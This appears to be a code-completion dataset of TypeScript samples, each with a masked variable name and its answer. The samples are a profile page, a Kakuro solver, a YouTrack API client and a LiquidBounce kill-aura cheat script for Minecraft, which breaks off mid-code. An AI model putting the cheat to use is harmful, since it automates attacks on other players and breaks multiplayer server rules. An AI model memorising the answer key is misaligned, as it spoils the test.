let estadisticasTable: HTMLElement = document.getElementById(""estadisticas"")!;
let carrerasTable: HTMLElement = document.getElementById(""carreras"")!;
let cursosTable: HTMLElement = document.getElementById(""cursos"")!;
let btnFiltro: HTMLElement = document.getElementById(""boton-filtro"")!;
let textoBusqueda: HTMLInputElement = <HTMLInputElement>document.getElementById(""texto-busqueda"")!;

btnFiltro.onclick = filtrarPorNombre;

mostrarDatosAprendiz(ap);
mostrarEstadisticas(ap);
mostrarCarreras(ap.carreras);
mostrarCursosAprendiz(ap.cursos);

function filtrarPorNombre():void{
    let text:string = textoBusqueda.value;
    text = (text==null)?"""":text;
    cursosTable.getElementsByTagName(""tbody"")[0].remove();
    let cursosFiltrados: Curso[] = ap.cursos.filter(function(c){return c.nombre.match(text);});
    mostrarCursosAprendiz(cursosFiltrados);

}


function mostrarDatosAprendiz(aprendiz: Aprendiz):void{
    let  [MASK]  = document.createElement(""tbody"");
     [MASK] .innerHTML = `<tr><td colspan=2><img src=""./${aprendiz.avatar}"" width=""150"" height=""150""></td></tr>
    <tr><td>Nombres:</td><td>${aprendiz.nombres}</td></tr>
    <tr><td>Apellidos:</td><td>${aprendiz.apellidos}</td></tr>
    <tr><td>Nivel educativo:</td><td>${aprendiz.nivelEducativo}</td></tr>
    <tr><td>Edad:</td><td>${aprendiz.edad}</td></tr>`
    aprendizTable.appendChild( [MASK] );
}

function mostrarEstadisticas(aprendiz: Aprendiz):void{
    let totalHoras = calcularHorasTotales(ap);
    let trElement1:HTMLElement = document.createElement(""tr"");
    trElement1.innerHTML = `<td><b>Resolviendo problemas:</b></td><td>${totalHoras} horas</td>`;
    estadisticasTable.append(trElement1);

    let numeroCertificados: number = aprendiz.darCursosCertificados();
    let trElement2:HTMLElement = document.createElement(""tr"");
    trElement2.innerHTML = `<td><b>Cursos certificados:</b></td><td>${numeroCertificados}</td>`;
    estadisticasTable.append(trElement2);
}

function mostrarCarreras(carreras: Carrera[]): void{
    let carrerasTbody: HTMLElement = document.createElement(""tbody"");
    let index: number = 0;
    for(let carrera of carreras)
    {
        let trElement: HTMLElement = document.createElement(""tr"");
        trElement.innerHTML = `<td>${carrera.nombre}</td>
        <td>${carrera.duracion}</td>
        <td>${carrera.horas}</td>
        <td>${carrera.universidad}</td>
        <td>${carrera.anio}</td>`
        carrerasTbody.appendChild(trElement);
        index++;
    }
    carrerasTable.appendChild(carrerasTbody);
}

function mostrarCursosAprendiz(cursos: Curso[]): void{
    let cursosTbody: HTMLElement = document.createElement(""tbody"");
    let index: number = 0;
    for(let curso of cursos)
    {
        let trElement: HTMLElement = document.createElement(""tr"");
        trElement.innerHTML = `<td>${curso.nombre}</td>
        <td>${curso.horas}</td>
        <td>${curso.tech}</td>
        <td>${curso.entity}</td>
        <td>${curso.anio}</td>`
        cursosTbody.appendChild(trElement);
        index++;
    }
    cursosTable.appendChild(cursosTbody);
}

function calcularHorasTotales(aprendiz: Aprendiz): number {
    let totalHorasCursos = aprendiz.cursos.reduce((sum, curso) => sum + curso.horas, 0);
    let totalHorasCarreras = aprendiz.carreras.reduce((sum, carrera) => sum + carrera.horas, 0);
    let totalHorasTrabajos = aprendiz.trabajos.reduce((sum, trabajo) => sum + trabajo.horas, 0);

    return totalHorasCursos + totalHorasCarreras + totalHorasTrabajos;
}
",tbodyAprendiz
573,"/* jshint esnext: true */
/* jshint node: true */

""use strict"";

const arrEquals = (a1, a2) => JSON.stringify(a1) === JSON.stringify(a2);

const contains = (coll, item) => coll.indexOf(item) > -1;

const pad2 = n => {
  const s = """" + n;
  return (s.length < 2) ? ("" "" + s) : s;
};

interface ICell {
  draw(): string;
}

class EmptyCell implements ICell {
  toString() {
    return ""EmptyCell"";
  }

  equals(obj) {
    if (this === obj) {
      return true;
    }
    if (obj === null) {
      return false;
    }
    return true;
  }

  draw() {
    return ""   -----  "";
  }
}

class ValueCell implements ICell {
  values: {}[];

  constructor(values) {
    this.values = Array.from(new Set(values));
  }

  toString() {
    return ""ValueCell["" + this.values.join("", "") + ""]"";
  }

  equals(obj) {
    if (this === obj) {
      return true;
    }
    if (obj === null) {
      return false;
    }
    if (undefined === obj.values) {
      return false;
    }
    let s1 = new Set(this.values);
    let s2 = new Set(obj.values);
    if (s1.size == s2.size) {
      return this.values.every(item => s2.has(item));
    }
    else {
      return false;
    }
  }

  draw() {
    if (1 == this.values.length) {
      return ""     "" + this.values[0] + ""    "";
    }
    else {
      return "" "" + [1, 2, 3, 4, 5, 6, 7, 8, 9]
        .map(n => contains(this.values, n) ? """" + n : ""."")
        .join("""");
    }
  }
}

class DownAcrossCell implements ICell {
  down: number;
  across: number;

  constructor(down, across) {
    this.down = down;
    this.across = across;
  }

  getDown() {
    return this.down;
  }

  getAcross() {
    return this.across;
  }

  toString() {
    return ""DownAcrossCell["" + this.down + "", "" + this.across + ""]"";
  }

  equals(obj) {
    if (this === obj) {
      return true;
    }
    if (obj === null) {
      return false;
    }
    if (undefined === obj.down) {
      return false;
    }
    return (this.down === obj.down) && (this.across === obj.across);
  }

  draw() {
    return ""   "" + pad2(this.down) + ""\\"" + pad2(this.across) + ""  "";
  }}

class DownCell implements ICell {
  down: number;

  constructor(down) {
    this.down = down;
  }

  getDown() {
    return this.down;
  }

  toString() {
    return ""DownCell["" + this.down + ""]"";
  }

  equals(obj) {
    if (this === obj) {
      return true;
    }
    if (obj === null) {
      return false;
    }
    if (undefined === obj.down) {
      return false;
    }
    return (this.down === obj.down);
  }

  draw() {
    return ""   "" +  pad2(this.down) + ""\\--  "";
  }
}

class AcrossCell implements ICell {
  across: number;

  constructor(across) {
    this.across = across;
  }

  getAcross() {
    return this.across;
  }

  toString() {
    return ""AcrossCell["" + this.across + ""]"";
  }

  equals(obj) {
    if (this === obj) {
      return true;
    }
    if ((obj === undefined) || (obj === null)) {
      return false;
    }
    if (undefined === obj.across) {
      return false;
    }
    return (this.across === obj.across);
  }

  draw() {
    return ""   --\\"" +  pad2(this.across) + ""  "";
  }
}

const drawRow = row => row.map(v => v.draw()).join("""") + ""\n"";

const drawGrid = (grid: ICell[][]) => grid.map(drawRow).join("""");


// need to use function() to get the arguments list provided
const v = function() {
  if (0 === arguments.length) {
    return new ValueCell([1, 2, 3, 4, 5, 6, 7, 8, 9]);
  }
  else {
    return new ValueCell(Array.of.apply([], arguments));
  }
};

const e = () => new EmptyCell();

const da = (down, across) => new DownAcrossCell(down, across);

const d = down => new DownCell(down);

const a = across => new AcrossCell(across);

const flatten = arrays => Array.prototype.concat.apply([], arrays);

const conj = (arr, value) => arr.concat([value]);

const concatLists = (coll1, coll2) => coll1.concat(coll2);

const allDifferent = arr => arr.length === new Set(arr).size;

const permute = (vs, target, soFar) => {
  if (target >= 1) {
    if (soFar.length === (vs.length - 1)) {
      return [conj(soFar, target)];
    }
    else {
      let arrays = vs[soFar.length].values.map(n => permute(vs, (target - n), conj(soFar, n)));
      return flatten(arrays);
    }
  }
  else {
    return [];
  }
};

const permuteAll = (vs, target) => permute(vs, target, []);

const isPossible = (v, n) => v.values.includes(n);

const range = n => new Array(n).fill(0).map((x, i) => i);

const transpose = m => (0 === m.length) ? [] : range(m[0].length).map(i => m.map(col => col[i]));

const takeWhile = (f, coll) => {
  let result = [];
  for (let item of coll) {
    if (!f(item)) {
      break;
    }
    result.push(item);
  }
  return result;
};

const drop = (n, coll) => {
  let result = Array.from(coll);
  result.splice(0, n);
  return result;
};

const take = (n, coll) => coll.slice(0, n);

const partitionBy = (f, coll) => {
  if (0 === coll.length) {
    return [];
  }
  else {
    const head = coll[0];
    const fx = f(head);
    const group = takeWhile(y => fx === f(y), coll);
    return concatLists([group], partitionBy(f, drop(group.length, coll)));
  }
};

const partitionAll = (n, step, coll) => {
  if (0 === coll.length) {
    return [];
  }
  else {
    return concatLists([take(n, coll)], partitionAll(n, step, drop(step, coll)));
  }
};

const partitionN = (n, coll) => partitionAll(n, n, coll);

const last = coll => coll[coll.length - 1];

const solveStep = (cells, total) => {
  let finalIndex = cells.length - 1;
  let  [MASK]  = permuteAll(cells, total)
    .filter(vals => isPossible(last(cells), vals[finalIndex]))
    .filter(allDifferent);
  return transpose( [MASK] )
    .map(coll => v.apply(null, coll));
};

// returns (non-vals, vals)*
const gatherValues = line => partitionBy(v => v instanceof ValueCell, line);

const pairTargetsWithValues = line => partitionN(2, gatherValues(line));

const solvePair = (f, pair) => {
  const notValueCells = pair[0];
  if ((undefined === pair[1]) || (0 === pair[1].length)) {
    return notValueCells;
  }
  else {
    const valueCells = pair[1];
    const newValueCells = solveStep(valueCells, f(last(notValueCells)));
    return concatLists(notValueCells, newValueCells);
  }
};

const solveLine = (line, f) => flatten(pairTargetsWithValues(line).map(pair => solvePair(f, pair)));

const solveRow = row => solveLine(row, x => x.getAcross());

const solveColumn = column => solveLine(column, x => x.getDown());

const solveGrid = grid => {
  const rowsDone = grid.map(solveRow);
  const colsDone = transpose(rowsDone)
    .map(solveColumn);
  return transpose(colsDone);
};

const gridEquals = (g1, g2) => {
  if (g1.length == g2.length) {
    for (let i = 0; i < g1.length; ++i) {
      for (let j = 0; j < g1[i].length; ++j) {
        if (!g1[i][j].equals(g2[i][j])) {
          return false;
        }
      }
    }
    return true;
  }
  else {
    return false;
  }
};

const solver = grid => {
  console.log(drawGrid(grid));
  const g = solveGrid(grid);
  if (gridEquals(g, grid)) {
    return g;
  }
  else {
    return solver(g);
  }
};

",perms
574,"import axios from 'axios';
import { AppError } from '../middleware/errorHandler';
import { TicketInfo } from '../models/ticket';

export class YouTrackService {
  private getAxiosInstance() {
    const baseUrl = process.env.YOUTRACK_BASE_URL;
    const  [MASK]  = process.env.YOUTRACK_API_TOKEN;

    return axios.create({
      baseURL: baseUrl,
      headers: {
        'Authorization': `Bearer ${ [MASK] }`,
        'Content-Type': 'application/json',
        'Accept': 'application/json'
      }
    });
  }

  async getTicketInfo(ticketId: string): Promise<TicketInfo> {
    try {
      const client = this.getAxiosInstance();

      // Get ticket details
      const ticketResponse = await client.get(`/api/issues/${ticketId}`, {
        params: {
          fields: 'id,summary,description,created,updated,customFields(name,value(name))'
        }
      });

      // Get ticket comments
      const commentsResponse = await client.get(`/api/issues/${ticketId}/comments`, {
        params: {
          fields: 'id,text,author(login),created'
        }
      });

      // Extract status from custom fields
      const statusField = ticketResponse.data.customFields.find(
        (field: any) => field.name === 'State'
      );
      const status = statusField ? statusField.value.name : 'Unknown';

      // Format comments and convert dates to local time
      const comments = commentsResponse.data.map((comment: any) => ({
        id: comment.id,
        text: comment.text,
        author: comment.author.login,
        created: new Date(comment.created).toLocaleString()
      }));

      return {
        id: ticketResponse.data.id,
        summary: ticketResponse.data.summary,
        description: ticketResponse.data.description || '',
        status,
        created: new Date(ticketResponse.data.created).toLocaleString(),
        updated: new Date(ticketResponse.data.updated).toLocaleString(),
        comments
      };
    } catch (error: any) {
      if (error.response) {
        if (error.response.status === 404) {
          throw new AppError(`Ticket ${ticketId} not found`, 404);
        }
        if (error.response.status === 401 || error.response.status === 403) {
          throw new AppError('Authentication or authorization error', 401);
        }
      }
      throw new AppError(`Failed to fetch ticket information: ${error.message}`, 500);
    }
  }
}

export default new YouTrackService();
",apiToken
575,"import Color = JVM.java$.awt$.Color;
import File = JVM.java$.io$.File;
import JavaBoolean = JVM.java$.lang$.Boolean;
import JavaFloat = JVM.java$.lang$.Float;
import JavaInteger = JVM.java$.lang$.Integer;
import JavaLong = JVM.java$.lang$.Long;
import JavaString = JVM.java$.lang$.String;
import System = JVM.java$.lang$.System;
import Thread = JVM.java$.lang$.Thread;
import StandardCharsets = JVM.java$.nio$.charset$.StandardCharsets;
import Files = JVM.java$.nio$.file$.Files;
import Paths = JVM.java$.nio$.file$.Paths;
import StandardOpenOption = JVM.java$.nio$.file$.StandardOpenOption;
import ArrayList = JVM.java$.util$.ArrayList;
import HashSet = JVM.java$.util$.HashSet;
import StringJoiner = JVM.java$.util$.StringJoiner;
import LiquidBounce = JVM.net$.ccbluex$.liquidbounce$.LiquidBounce;
import AttackEvent = JVM.net$.ccbluex$.liquidbounce$.event$.AttackEvent;
import EventState = JVM.net$.ccbluex$.liquidbounce$.event$.EventState;
import MotionEvent = JVM.net$.ccbluex$.liquidbounce$.event$.MotionEvent;
import PacketEvent = JVM.net$.ccbluex$.liquidbounce$.event$.PacketEvent;
import Render3DEvent = JVM.net$.ccbluex$.liquidbounce$.event$.Render3DEvent;
import WorldEvent = JVM.net$.ccbluex$.liquidbounce$.event$.WorldEvent;
import Command = JVM.net$.ccbluex$.liquidbounce$.features$.command$.Command;
import Module = JVM.net$.ccbluex$.liquidbounce$.features$.module$.Module;
import NoFriends = JVM.net$.ccbluex$.liquidbounce$.features$.module$.modules$.combat$.NoFriends;
import AntiBot = JVM.net$.ccbluex$.liquidbounce$.features$.module$.modules$.misc$.AntiBot;
import Teams = JVM.net$.ccbluex$.liquidbounce$.features$.module$.modules$.misc$.Teams;
import Script = JVM.net$.ccbluex$.liquidbounce$.script$.Script;
import ScriptModule = JVM.net$.ccbluex$.liquidbounce$.script$.api$.ScriptModule;
import EntityUtils = JVM.net$.ccbluex$.liquidbounce$.utils$.EntityUtils;
import Rotation = JVM.net$.ccbluex$.liquidbounce$.utils$.Rotation;
import RotationUtils = JVM.net$.ccbluex$.liquidbounce$.utils$.RotationUtils;
import ColorUtils = JVM.net$.ccbluex$.liquidbounce$.utils$.render$.ColorUtils;
import RenderUtils = JVM.net$.ccbluex$.liquidbounce$.utils$.render$.RenderUtils;
import MSTimer = JVM.net$.ccbluex$.liquidbounce$.utils$.timer$.MSTimer;
import BoolValue = JVM.net$.ccbluex$.liquidbounce$.value$.BoolValue;
import FloatValue = JVM.net$.ccbluex$.liquidbounce$.value$.FloatValue;
import IntegerValue = JVM.net$.ccbluex$.liquidbounce$.value$.IntegerValue;
import ListValue = JVM.net$.ccbluex$.liquidbounce$.value$.ListValue;
import TextValue = JVM.net$.ccbluex$.liquidbounce$.value$.TextValue;
import ItemRenderer = JVM.net$.minecraft$.client$.renderer$.ItemRenderer;
import GameSettings = JVM.net$.minecraft$.client$.settings$.GameSettings;
import KeyBinding = JVM.net$.minecraft$.client$.settings$.KeyBinding;
import Entity = JVM.net$.minecraft$.entity$.Entity;
import EntityLivingBase = JVM.net$.minecraft$.entity$.EntityLivingBase;
import EntityDragon = JVM.net$.minecraft$.entity$.boss$.EntityDragon;
import EntityGhast = JVM.net$.minecraft$.entity$.monster$.EntityGhast;
import EntityGolem = JVM.net$.minecraft$.entity$.monster$.EntityGolem;
import EntityMob = JVM.net$.minecraft$.entity$.monster$.EntityMob;
import EntitySlime = JVM.net$.minecraft$.entity$.monster$.EntitySlime;
import EntityAnimal = JVM.net$.minecraft$.entity$.passive$.EntityAnimal;
import EntityBat = JVM.net$.minecraft$.entity$.passive$.EntityBat;
import EntitySquid = JVM.net$.minecraft$.entity$.passive$.EntitySquid;
import EntityVillager = JVM.net$.minecraft$.entity$.passive$.EntityVillager;
import EntityPlayer = JVM.net$.minecraft$.entity$.player$.EntityPlayer;
import EntityLargeFireball = JVM.net$.minecraft$.entity$.projectile$.EntityLargeFireball;
import ItemSword = JVM.net$.minecraft$.item$.ItemSword;
import C02PacketUseEntity = JVM.net$.minecraft$.network$.play$.client$.C02PacketUseEntity;
import C03PacketPlayer = JVM.net$.minecraft$.network$.play$.client$.C03PacketPlayer;
import C07PacketPlayerDigging = JVM.net$.minecraft$.network$.play$.client$.C07PacketPlayerDigging;
import C08PacketPlayerBlockPlacement = JVM.net$.minecraft$.network$.play$.client$.C08PacketPlayerBlockPlacement;
import S03PacketTimeUpdate = JVM.net$.minecraft$.network$.play$.server$.S03PacketTimeUpdate;
import S14PacketEntity = JVM.net$.minecraft$.network$.play$.server$.S14PacketEntity;
import AxisAlignedBB = JVM.net$.minecraft$.util$.AxisAlignedBB;
import BlockPos = JVM.net$.minecraft$.util$.BlockPos;
import EnumFacing = JVM.net$.minecraft$.util$.EnumFacing;
import Vec3 = JVM.net$.minecraft$.util$.Vec3;

const scriptName = ""mumyHackAura"";
const scriptVersion = 0.4;
const scriptAuthor = ""mumy++"";

class mumyHackAura {

    private readonly setting = {
        float: (name: string, def: number, min: number, max: number, object: object = {}) => {
            return new _AdaptedValue<number, JavaFloat>(new (Java.extend(FloatValue, object))(name, def, min, max));
        },
        integer: (name: string, def: number, min: number, max: number, object: object = {}) => {
            return new _AdaptedValue<number, JavaInteger>(new (Java.extend(IntegerValue, object))(name, def, min, max));
        },
        boolean: (name: string, def: boolean, object: object = {}) => {
            return new _AdaptedValue<boolean, JavaBoolean>(new (Java.extend(BoolValue, object))(name, def));
        },
        list: (name: string, values: string[], def: string, object: object = {}) => {
            return new _AdaptedValue<string, JavaString>(new (Java.extend(ListValue, object))(name, values, def));
        },
        text: (name: string, def: string, object: object = {}) => {
            return new _AdaptedValue<string, JavaString>(new (Java.extend(TextValue, object))(name, def));
        }
    };

    private readonly settings = {
        maxDelay: this.setting.float(""MaxDelay"", 80, 0, 1000, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.minDelay.get();
                if (newValue < v) {
                    this.settings.maxDelay.set(v);
                }
            }
        }),
        minDelay: this.setting.float(""MinDelay"", 50, 0, 1000, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.maxDelay.get();
                if (newValue > v) {
                    this.settings.minDelay.set(v);
                }
            }
        }),
        hurtTime: this.setting.integer(""HurtTime"", 20, 0, 20),
        range: this.setting.float(""Range"", 6, 0, 20, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.throughWallsRange.get();
                if (newValue < v) {
                    this.settings.range.set(v);
                }
            }
        }),
        blockRange: this.setting.float(""BlockRange"", 8, 0, 20, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.range.get();
                if (newValue < v) {
                    this.settings.blockRange.set(v);
                }
            }
        }),
        throughWallsRange: this.setting.float(""ThroughWallsRange"", 3, 0, 20, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.range.get();
                if (newValue > v) {
                    this.settings.throughWallsRange.set(v);
                }
            }
        }),
        targetMode: this.setting.list(""TargetMode"", [""Single"", ""Switch"", ""Multi""], ""Single""),
        priority: this.setting.list(""Priority"", [""Armor"", ""Direction"", ""Distance"", ""Health"", ""HurtTime"", ""LivingTime""], ""HurtTime""),
        limitedTargets: this.setting.integer(""LimitedTargets"", 3, 0, 100),
        switchDelay: this.setting.integer(""SwitchDelay"", 500, 0, 1000),
        attackTiming: this.setting.integer(""AttackTiming"", 2, 1, 15),
        attackPackets: this.setting.integer(""AttackPackets"", 1, 1, 50),
        autoBlock: this.setting.list(""AutoBlock"", [""Off"", ""Vanilla"", ""Packet""], ""Packet""),
        predictSize: this.setting.float(""PredictSize"", 1, 0, 5),
        limitedPredictPing: this.setting.integer(""LimitedPredictPing"", 200, 0, 1000, {
            onChanged: (oldValue: number, newValue: number) => {
                const v = this.settings.limitedPredictPing.get();
                if (newValue > v) {
                    this.settings.limitedPredictPing.set(v);
                }
            }
        }),
        referencePredictPing: this.setting.float(""ReferencePredictPing"", 50, 0, 1000),
        limitedNetworkPing: this.setting.integer(""LimitedNetworkPing"", 150, 0, 1000),
        hitFireball: this.setting.boolean(""HitFireball"", false),
        rotation: this.setting.list(""Rotation"", [""Off"", ""Angle"", ""Distance""], ""Angle""),
        hitBoxHorizontally: this.setting.float(""HitBoxHorizontally"", 1, 0, 1),
        hitBoxVertically: this.setting.float(""HitBoxVertically"", 1, 0, 1),
        silentRotation: this.setting.boolean(""SilentRotation"", true),
        rotationAnimation: this.setting.boolean(""RotationAnimation"", true)
    };

    private readonly prevTargetSet = new HashSet<JavaInteger>();
    private targetList = <Entity[]>[];
    private target = <Entity | null>null;

    private readonly switchTimer = new MSTimer();

    private readonly attackTimer = new mumyHackAura.NanoTimer();
    private attackDelay = 0;

    private readonly serverPacketsTimer = new MSTimer();

    private readonly waitStateColor = new Color(126, 126, 126, 70);
    private readonly attackStateColor = new Color(37, 126, 255, 70);

    private readonly autoBlock = new mumyHackAura.AutoBlock();

    public readonly valuesContainer = new mumyHackAura.ValuesContainer();

    public getName() {
        return ""mumyHackAura"";
    }

    public getDescription() {
        return ""mumyHackAura-Module, By-mumy"";
    }

    public getCategory() {
        return ""Misc"";
    }

    public onEnable() {
        this.prevTargetSet.clear();
        this.targetList = [];
        this.target = null;
    }

    public onDisable() {
        this.autoBlock.reset();
        this.onEnable();
    }

    public onUpdate() {
        const riding = mc.thePlayer!.isRiding();
        if (riding) {
            this.update();
        } if (riding || (this.settings.attackTiming.get() & 4) !== 0) {
            this.runAttack();
        }
    }

    public onMotion(event: MotionEvent) {
        const eventState = event.getEventState();
        if (eventState === EventState.PRE) {
            this.update();
        } if ((this.settings.attackTiming.get() & (eventState === EventState.PRE ? 1 : 2)) !== 0) {
            this.runAttack();
        }
    }

    public onRender3D(event: Render3DEvent) {
        if ((this.settings.attackTiming.get() & 8) !== 0) {
            this.runAttack();
        } if (this.targetList.length !== 0) {
            if (this.settings.targetMode.get() === ""Multi"") {
                let count = 0;
                const limit = this.settings.limitedTargets.get();
                const range = this.settings.range.get();
                const hurtTime = this.settings.hurtTime.get();
                for (let entity of this.targetList) {
                    RenderUtils.drawPlatform(entity, !(entity.hurtResistantTime > hurtTime) && this.getDistanceToHitEntity(entity) < range && !(limit > 0 && ++count > limit) ? this.attackStateColor : this.waitStateColor);
                }
            } else {
                for (let entity of this.targetList) {
                    RenderUtils.drawPlatform(entity, entity === this.target && !(entity.hurtResistantTime > this.settings.hurtTime.get()) ? this.attackStateColor : this.waitStateColor);
                }
            }
        }
    }

    public onPacket(event: PacketEvent) {
        const packet = event.getPacket();
        if (packet instanceof S14PacketEntity) {
            this.serverPacketsTimer.reset();
        } else if (packet instanceof C03PacketPlayer && this.settings.rotationAnimation.get()) {
            const player = mc.thePlayer!;
            const rotationYaw = RotationUtils.serverRotation?.getYaw() ?? 0;
            if (rotationYaw !== player.rotationYaw) {
                player.rotationYawHead = rotationYaw;
            }
        }
    }

    public onWorld(event: WorldEvent) {
        moduleManager.getModule(this.getName())!.setState(false);
    }

    public addValues(values: _ValueAdapter) {
        const settings = <{ [key: string]: _AdaptedValue<unknown, unknown> }>this.settings;
        this.valuesContainer.init(settings);
        for (let i in settings) {
            values.add(settings[i]);
        }
    }

    private update() {
        this.updateTarget();
        if (this.targetList.length === 0) {
            this.autoBlock.reset();
            return;
        } if (this.target == null && this.settings.autoBlock.get() !== ""Off"") {
            this.autoBlock.checkAndStart();
        }
        this.autoBlock.checkAndUpdate();
    }

    private updateTarget() {
        const prevTarget = this.target;
        this.targetList = [];
        this.target = null;
        const limitedTargets = this.settings.limitedTargets.get();
        if (limitedTargets > 0 && !(this.prevTargetSet.size() < limitedTargets)) {
            this.prevTargetSet.clear();
        }
        const limitedNetworkPing = this.settings.limitedNetworkPing.get();
        if (limitedNetworkPing > 0 && this.serverPacketsTimer.hasTimePassed(limitedNetworkPing)) {
            return;
        }
        const player = mc.thePlayer!;
        const entityList = <Entity[]>Java.from(mc.theWorld!.loadedEntityList!);
        const switchMode = this.settings.targetMode.get() === ""Switch"";
        const hurtTime = this.settings.hurtTime.get();
        const range = this.settings.range.get();
        const blockRange = this.settings.blockRange.get();
        const throughWallsRange = this.settings.throughWallsRange.get();
        const maxRange = Math.max(range, blockRange);
        for (let entity of entityList) {
            if (this.isEnemy(entity) && !(switchMode && this.prevTargetSet.contains(JavaInteger.valueOf(entity.getEntityId()))) && this.getDistanceToHitEntity(entity) < (player.canEntityBeSeen(entity) ? maxRange : throughWallsRange)) {
                this.targetList.push(entity);
            }
        } if (this.targetList.length === 0) {
            if (switchMode && !this.prevTargetSet.isEmpty()) {
                this.prevTargetSet.clear();
                this.updateTarget();
            }
            return;
        }
        this.targetList.sort((a, b) => this.getDistanceToHitEntity(a) - this.getDistanceToHitEntity(b));
        switch (this.settings.priority.get()) {
            case ""Armor"":
                this.targetList.sort((a, b) => a instanceof EntityLivingBase && b instanceof EntityLivingBase ? a.getTotalArmorValue() - b.getTotalArmorValue() : 0);
                break;
            case ""Direction"":
                this.targetList.sort((a, b) => RotationUtils.getRotationDifference(a) - RotationUtils.getRotationDifference(b));
                break;
            case ""Health"":
                this.targetList.sort((a, b) => a instanceof EntityLivingBase && b instanceof EntityLivingBase ? a.getHealth() - b.getHealth() : 0);
                break;
            case ""HurtTime"":
                this.targetList.sort((a, b) => a.hurtResistantTime - b.hurtResistantTime);
                break;
            case ""LivingTime"":
                this.targetList.sort((a, b) => b.ticksExisted - a.ticksExisted);
                break;
        } if (switchMode && prevTarget != null && this.targetList.indexOf(prevTarget) !== -1 && this.getDistanceToHitEntity(prevTarget) < range) {
            this.target = prevTarget;
            this.updateRotation(this.getHitEntity(prevTarget));
            return;
        } for (let ignoreHurtTime = false;;) {
            for (let entity of this.targetList) {
                if ((ignoreHurtTime || !(entity.hurtResistantTime > hurtTime)) && this.getDistanceToHitEntity(entity) < range) {
                    this.target = entity;
                    this.updateRotation(this.getHitEntity(entity));
                    return;
                }
            } if (ignoreHurtTime) {
                break;
            }
            ignoreHurtTime = true;
        } if (switchMode && !this.prevTargetSet.isEmpty()) {
            this.prevTargetSet.clear();
            this.updateTarget();
        }
    }

    private isEnemy(entity: Entity) {

        if (this.settings.hitFireball.get() && entity instanceof EntityLargeFireball) {
            return true;
        } if (entity instanceof EntityLivingBase && (EntityUtils.targetDead || entity.isEntityAlive() && entity.getHealth() > 0) && entity !== mc.thePlayer) {
            if (!EntityUtils.targetInvisible && entity.isInvisible()) {
                return false
            } if (EntityUtils.targetPlayer && entity instanceof EntityPlayer) {
                if (entity.isSpectator() || AntiBot.isBot(entity)) {
                    return false
                } if (isFriend(entity) && !LiquidBounce.moduleManager!.getModule(NoFriends.class)!.getState()) {
                    return false;
                }
                const teams = <Teams>LiquidBounce.moduleManager!.getModule(Teams.class)!;
                return !teams.getState() || !teams.isInYourTeam(entity);
            }
            return EntityUtils.targetMobs && isMob(entity) || EntityUtils.targetAnimals && isAnimal(entity);
        }
        return false;

        function isAnimal(entity: Entity) {
            return entity instanceof EntityAnimal || entity instanceof EntitySquid || entity instanceof EntityGolem || entity instanceof EntityBat;
        }

        function isFriend(entity: Entity) {
            return entity instanceof EntityPlayer && entity.getName() != null && LiquidBounce.fileManager!.friendsConfig!.isFriend(ColorUtils.stripColor(entity.getName()));
        }

        function isMob(entity: Entity) {
            return entity instanceof EntityMob || entity instanceof EntityVillager || entity instanceof EntitySlime || entity instanceof EntityGhast || entity instanceof EntityDragon;
        }

    }

    private runAttack() {
        if (this.target == null || !this.attackTimer.hasTimePassed(this.attackDelay) || this.target.hurtResistantTime > this.settings.hurtTime.get()) {
            return;
        } if (this.settings.autoBlock.get() !== ""Vanilla"") {
            this.autoBlock.checkAndStop();
        }
        const mode = this.settings.targetMode.get();
        if (mode === ""Multi"") {
            let count = 0;
            const limit = this.settings.limitedTargets.get();
            const range = this.settings.range.get();
            const hurtTime = this.settings.hurtTime.get();
            for (let entity of this.targetList) {
                if (entity.hurtResistantTime > hurtTime && this.getDistanceToHitEntity(entity) < range) {
                    this.attackEntity(entity);
                    if (limit > 0 && !(++count < limit)) {
                        break;
                    }
                }
            }
        } else {
            this.attackEntity(this.target);
            if (mode === ""Switch"" && this.switchTimer.hasTimePassed(this.settings.switchDelay.get())) {
                this.prevTargetSet.add(JavaInteger.valueOf(this.target.getEntityId()));
                this.switchTimer.reset();
            }
        } if (this.settings.autoBlock.get() !== ""Off"" || this.autoBlock.isPlayerBlocking()) {
            this.autoBlock.checkAndStart();
        }
        this.attackTimer.reset();
        const maxDelay = this.settings.maxDelay.get();
        const minDelay = this.settings.minDelay.get();
        this.attackDelay = 1000000 * (minDelay + (maxDelay - minDelay) * Math.random()); //2023.2.2[start]: 100days~
    }

    private attackEntity(entity: Entity) {
        LiquidBounce.eventManager!.callEvent(new AttackEvent(entity));
        mc.thePlayer!.swingItem();
        const packets = this.settings.attackPackets.get();
        for (let i = 0; i < packets; ++i) {
            mc.getNetHandler()!.addToSendQueue(new C02PacketUseEntity(this.getHitEntity(entity), C02PacketUseEntity.Action.ATTACK));
        }
    }

    private getHitEntity(entity: Entity) {
        if (entity instanceof EntityDragon) {
            let lastEntity = <Entity | null>null;
            let lastDistance = 0;
            for (let part of entity.getParts()!) {
                const distance = this.getDistanceToEntity(part);
                if (lastEntity == null || distance < lastDistance) {
                    lastEntity = part;
                    lastDistance = distance;
                }
            } if (lastEntity != null) {
                return lastEntity;
            }
        }
        return entity;
    }

    private updateRotation(entity: Entity) {
        if (this.settings.rotation.get() === ""Off"") {
            return;
        }
        const collisionBorderSize = entity.getCollisionBorderSize() * 0.95;
        let bb = entity.getEntityBoundingBox()!.expand(collisionBorderSize, collisionBorderSize, collisionBorderSize)!;
        const horizontally = Math.max(0, Math.min(this.settings.hitBoxHorizontally.get(), 1));
        const vertically = Math.max(0, Math.min(this.settings.hitBoxVertically.get(), 1));
        if (horizontally !== 1 || vertically !== 1) {
            const [xHalf, yHalf, zHalf] = [(bb.maxX - bb.minX) / 2, (bb.maxY - bb.minY) / 2, (bb.maxZ - bb.minZ) / 2];
            const yCenter = (bb.maxY + bb.minY) / 2;
            bb = new AxisAlignedBB(entity.posX - xHalf * horizontally, yCenter - yHalf * vertically, entity.posZ - zHalf * horizontally, entity.posX + xHalf * horizontally, yCenter + yHalf * vertically, entity.posZ + zHalf * horizontally);
        }
        let finalRotation = <Rotation | null>null;
        switch (this.settings.rotation.get()) {
            case ""Angle"": {
                let lastDifference = 0;
                for (let sX = 0; sX < 8; ++sX) {
                    for (let sY = 0; sY < 10; ++sY) {
                        for (let sZ = 0; sZ < 8; ++sZ) {
